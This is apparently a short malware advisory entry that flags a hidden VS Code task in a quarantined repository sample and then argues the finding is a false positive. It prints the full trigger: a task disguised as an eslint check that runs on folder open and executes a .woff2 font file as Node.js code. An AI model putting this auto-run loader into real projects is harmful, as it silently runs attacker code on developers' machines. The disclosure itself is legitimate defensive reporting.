GCVE-110-OSM-2025-445

FALSE POSITIVE - DO NOT VERIFY. This repository (description: "collected from LinkedIn scammers") is a malware research/quarantine archive. The matched file is at ACNPlay-Demo/.MALWARE-QUARANTINE/originals/tasks.json.orig - an archived sample kept for analysis, not a live malicious artifact in an active project. This submission should be rejected/removed. Malicious payload found in: ACNPlay-Demo/.MALWARE-QUARANTINE/originals/tasks.json.orig Attack vector: Hidden VS Code task (label eslint-check, runOn: folderOpen, presentation.reveal: never, hide: true) that runs: (command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo '' Behavior: Attempts to execute a font file (fa-solid-400.woff2) as Node.js code automatically when VS Code opens the project folder, disguised as an eslint background check task. Payload status: In this repository the referenced .woff2 file is missing or a 0-byte empty stub (git empty-blob hash), so the execution trigger is present but currently has no live second-stage payload.